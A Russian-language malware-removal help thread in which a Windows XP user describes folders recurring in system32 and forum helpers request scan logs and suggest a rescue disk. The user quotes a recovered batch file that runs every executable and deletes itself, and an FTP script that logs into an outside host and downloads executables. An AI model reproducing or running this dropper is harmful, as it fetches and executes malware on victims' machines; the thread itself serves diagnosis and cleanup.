Какая-то гадость ломится на yrrpp.to.jajaca.com

Работаю на win xp sp3, все обновления установлены. Также установлен последний DrWeb с брендмаузером. Доктор и его файрвол ни на что не ругаются.

Какая-то гадость создает каталоги в папке system32. Название каталога всегда формата i####, где i - буква i, а #### - четыре произвольные цифры (пример - i5095).
Появление каталогов вида i#### обнаружил adinf32, сами каталоги никогда не содержат файлов. Однако, Norton Unerase показывает наличие в этих каталогах двух стертых файлов. Файлы называются: D.bat и J
Содержание D.bat:
for %%i in (*.exe) do start %%i
for %%i in (*.exe) do %%i
del /f /q %0%

Содержание J:
open yrrpp.to.jajaca.com
Net
123
mget *.exe
bye

AVPTool (при работе в безопасном режиме) ничего подозрительного не нашел.

Уважаемый(ая) [B]sega72[/B], спасибо за обращение на наш форум!

Удаление вирусов - абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="http://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].

Сделайте лог [url="http://virusinfo.info/showpost.php?p=457118&postcount=1"] полного сканирования МВАМ[/url]

Сделайте лог [url="http://virusinfo.info/showpost.php?p=493610&postcount=1"]ComboFix[/url]

[QUOTE=Шапельский Александр;823129]Сделайте лог [url="http://virusinfo.info/showpost.php?p=457118&postcount=1"] полного сканирования МВАМ[/url][/QUOTE]
сделано

[QUOTE=thyrex;823133]Сделайте лог [url="http://virusinfo.info/showpost.php?p=493610&postcount=1"]ComboFix[/url][/QUOTE]
сделано

Что сейчас с проблемой?

[QUOTE=thyrex;823181]Что сейчас с проблемой?[/QUOTE]
Комп простоял ночь, подкюченный к интернету, новых каталогов формата i#### не появилось. Жду указаний.

[size="1"][color="#666686"][B][I]Добавлено через 2 часа 23 минуты[/I][/B][/color][/size]

Combofix поместил в карантин три файла и файл реестра.
1) Что это за файлы, то есть какие программы (или, может быть, драйвера) надо переустанавливать, чтобы система работала стабильно?
2) Удалять ли файлы, который попали в карантин?
3) Как называются эти вредоносные программы?
4) Надо ли повторно запустить ComboFix?
5) Можно ли деинсталировать ComboFix и MBAM?

[size="1"][color="#666686"][B][I]Добавлено через 3 часа 5 минут[/I][/B][/color][/size]

[QUOTE=Info_bot;823124]поддержите проект.[/QUOTE]

Проект поддержал.

[size="1"][color="#666686"][B][I]Добавлено через 1 минуту[/I][/B][/color][/size]

Кто-нибудь скажите - что дальше делать?

[size="1"][color="#666686"][B][I]Добавлено через 1 час 28 минут[/I][/B][/color][/size]

[QUOTE=thyrex;823181]Что сейчас с проблемой?[/QUOTE]

Опять появился каталог вида i#### (i5707) в папке system32 :( С утра был запущен только IE8 для работы с этим сайтом и пасьянс Косынка, больше ничего не делалось.

[quote="sega72;823186"]Опять появился каталог вида i#### (i5707) в папке system32[/quote]Вирус лезет через дыры в системе + уязвимости MS SQL Server, если таковым пользуетесь
Уверены, что установлены все обновления для системы?

[QUOTE=thyrex;823319]Вирус лезет через дыры в системе + уязвимости MS SQL Server, если таковым пользуетесь
Уверены, что установлены все обновления для системы?[/QUOTE]

MS SQL Server не пользуюсь.
Установлены все обновления, только что проверил.

Что мне делать дальше? Чем проверить систему? Или мой случай неоперабельный?

Каталоги продолжают создаваться в папке system32.

Что мне делать дальше? Чем проверить систему? Или мой случай неоперабельный?

[URL="http://support.kaspersky.ru/viruses/rescuedisk?level=2"]Скачайте Kaspersky Rescue Disk[/URL], запишите образ на диск, загрузитесь с него и проверьте компьютер.
Скачивать и записывать диск надо на чистом ПК

[QUOTE=Шапельский Александр;824051][URL="http://support.kaspersky.ru/viruses/rescuedisk?level=2"]Скачайте Kaspersky Rescue Disk[/URL], запишите образ на диск, загрузитесь с него и проверьте компьютер.
Скачивать и записывать диск надо на чистом ПК[/QUOTE]

Уже делал так, еще до обращения на ваш сайт. Скачал на чистом компе, записал образ на флешку, с флешки загрузился. Ничего не нашлось.